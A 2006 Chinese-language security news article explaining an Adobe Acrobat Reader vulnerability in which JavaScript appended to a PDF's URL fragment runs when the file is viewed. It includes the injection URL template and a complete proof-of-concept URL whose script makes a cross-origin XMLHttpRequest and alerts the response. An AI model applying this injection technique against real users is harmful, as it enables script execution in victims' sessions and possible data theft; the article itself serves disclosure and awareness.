加载脚本失败,警报!打开PDF可能会加载恶意脚本

警报!打开PDF可能会加载恶意脚本 - 电脑安全 - 电脑教程网

警报!打开PDF可能会加载恶意脚本

日期:2006-07-11   荐:

「编者按」一个平安无事的PDF文件却可以造成你的系统被入侵,这种问题并不是虚构的,他确确实实出现在Adobe Acrobat reader中,非法用户可以通过修改地址链接的方法,将自己的恶意脚本加载到PDF浏览地址中,从而造成用户浏览PDF文件的同时加载非法脚本。

众所周知我们在网上输入诸如WORD,EXCEL,PDF等文件的真实地址都会自动调用相应的程序打开这些文件,然而这种通过IE浏览器自动调用程序打开指定文件的方法一旦被非法用户获取,他们就可以利用程序的漏洞来通过网络传播恶意脚本,最近一个PDF文件恶意脚本执行问题爆发了。

Adobe Acrobat Javascript执行漏洞被公开国外的安全人士发现了一个未经修补的Adobe Acrobat Reader漏洞,它在用户打开本地PDF文档的时候使攻击者执行一段JavaScript代码,利用这些JavaScript代码可以实现非法用户入侵PDF文件浏览者的目的。

漏洞现象——通过使用固定格式的地址链接可以让用户浏览PDF文件的同时加载恶意JavaScript代码。

漏洞原理——当非法用户采用以下格式传播PDF文件浏览地址时会造成漏洞的产生,具体格式为http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here.从格式中我们可以看出只需要在PDF浏览地址后面加上恶意脚本和名称即可。要知道这种恶意脚本传播方式并不需要入侵者获得PDF文件的可写权限,可以在不动PDF文件内容的情况下实现恶意脚本加载的目的。

非法入侵范例——任何在网上的PDF文件都可以被非法用户利用,下面是一个具体例子。

http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function createXMLHttpRequest(){ try{ return new ActiveXObject('Msxml2.XMLHTTP'); }catch(e){} try{ return new ActiveXObject('Microsoft.XMLHTTP'); }catch(e){} try{ return new XMLHttpRequest(); }catch(e){} return null;}var xhr = createXMLHttpRequest();xhr.onreadystatechange = function(){ if (xhr.readyState == 4) alert(xhr.responseText);};xhr.open('GET', 'http://www.google.com', true);xhr.send(null);

通过本例子非法黑客使得普通用户在浏览http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf这个地址的PDF文件时将被自动加载下面的javascript恶意脚本。

标签: